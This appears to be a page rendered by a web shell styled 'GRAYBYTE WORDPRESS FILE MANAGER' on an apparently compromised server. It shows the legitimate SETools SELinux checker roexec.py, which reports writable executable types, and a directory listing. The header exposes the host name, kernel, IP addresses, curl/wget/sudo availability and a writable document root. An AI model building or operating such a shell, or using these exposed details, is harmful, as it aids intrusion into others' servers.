✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/lib64/python3.9/site-packages/setools/checker//roexec.py
# Copyright 2020, Microsoft Corporation
#
# SPDX-License-Identifier: LGPL-2.1-only
#

import logging
from collections import defaultdict
from typing import Dict, List, Set

from ..policyrep import AnyTERule, Type
from ..terulequery import TERuleQuery

from .checkermodule import CheckerModule
from .descriptors import ConfigSetDescriptor


EXEMPT_WRITE = "exempt_write_domain"
EXEMPT_EXEC = "exempt_exec_domain"
EXEMPT_FILE = "exempt_file"


class ReadOnlyExecutables(CheckerModule):

    """Checker module for asserting all executable files are read-only."""

    check_type = "ro_execs"
    check_config = frozenset((EXEMPT_WRITE, EXEMPT_EXEC, EXEMPT_FILE))

    exempt_write_domain = ConfigSetDescriptor("lookup_type_or_attr", strict=False, expand=True)
    exempt_file = ConfigSetDescriptor("lookup_type_or_attr", strict=False, expand=True)
    exempt_exec_domain = ConfigSetDescriptor("lookup_type_or_attr", strict=False, expand=True)

    def __init__(self, policy, checkname, config) -> None:
        super().__init__(policy, checkname, config)
        self.log = logging.getLogger(__name__)

        self.exempt_write_domain = config.get(EXEMPT_WRITE)
        self.exempt_file = config.get(EXEMPT_FILE)
        self.exempt_exec_domain = config.get(EXEMPT_EXEC)

    def _collect_executables(self) -> Dict[Type, Set[AnyTERule]]:
        self.log.debug("Collecting list of executable file types.")
        self.log.debug("Ignore exec domains: {!r}".format(self.exempt_exec_domain))
        query = TERuleQuery(self.policy,
                            ruletype=("allow",),
                            tclass=("file",),
                            perms=("execute", "execute_no_trans"))

        collected = defaultdict(set)
        for rule in query.results():
            sources = set(rule.source.expand()) - self.exempt_exec_domain
            targets = set(rule.target.expand()) - self.exempt_file

            # ignore rule if source or target is an empty attr
            if not sources or not targets:
                self.log.debug("Ignoring execute rule: {}".format(rule))
                continue

            for t in targets:
                self.log.debug("Determined {} is executable by: {}".format(t, rule))
                collected[t].add(rule)

        return collected

    def run(self) -> List:
        self.log.info("Checking executables are read-only.")

        query = TERuleQuery(self.policy,
                            ruletype=("allow",),
                            tclass=("file",),
                            perms=("write", "append"))
        executables = self._collect_executables()
        failures = defaultdict(set)

        for exec_type in executables.keys():
            self.log.debug("Checking if executable type {} is writable.".format(exec_type))

            query.target = exec_type
            for rule in sorted(query.results()):
                if set(rule.source.expand()) - self.exempt_write_domain:
                    failures[exec_type].add(rule)

        for exec_type in sorted(failures.keys()):
            self.output.write("\n------------\n\n")
            self.output.write("Executable type {} is writable.\n\n".format(exec_type))
            self.output.write("Execute rules:\n")
            for rule in sorted(executables[exec_type]):
                self.output.write("    * {}\n".format(rule))

            self.output.write("\nWrite rules:\n")
            for rule in sorted(failures[exec_type]):
                self.log_fail(str(rule))

        self.log.debug("{} failure(s)".format(len(failures)))
        return sorted(failures.keys())

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
17 Jan 2026 3.14 PM
root / root
0755
__pycache__
--
17 Jan 2026 3.14 PM
root / root
0755
__init__.py
0.21 KB
7 Dec 2023 3.49 PM
root / root
0644
assertrbac.py
3.887 KB
7 Dec 2023 3.49 PM
root / root
0644
assertte.py
4.386 KB
7 Dec 2023 3.49 PM
root / root
0644
checker.py
5.22 KB
7 Dec 2023 3.49 PM
root / root
0644
checkermodule.py
3.897 KB
7 Dec 2023 3.49 PM
root / root
0644
descriptors.py
4.192 KB
7 Dec 2023 3.49 PM
root / root
0644
emptyattr.py
2.705 KB
7 Dec 2023 3.49 PM
root / root
0644
globalkeys.py
0.294 KB
7 Dec 2023 3.49 PM
root / root
0644
roexec.py
3.527 KB
7 Dec 2023 3.49 PM
root / root
0644
util.py
0.336 KB
7 Dec 2023 3.49 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF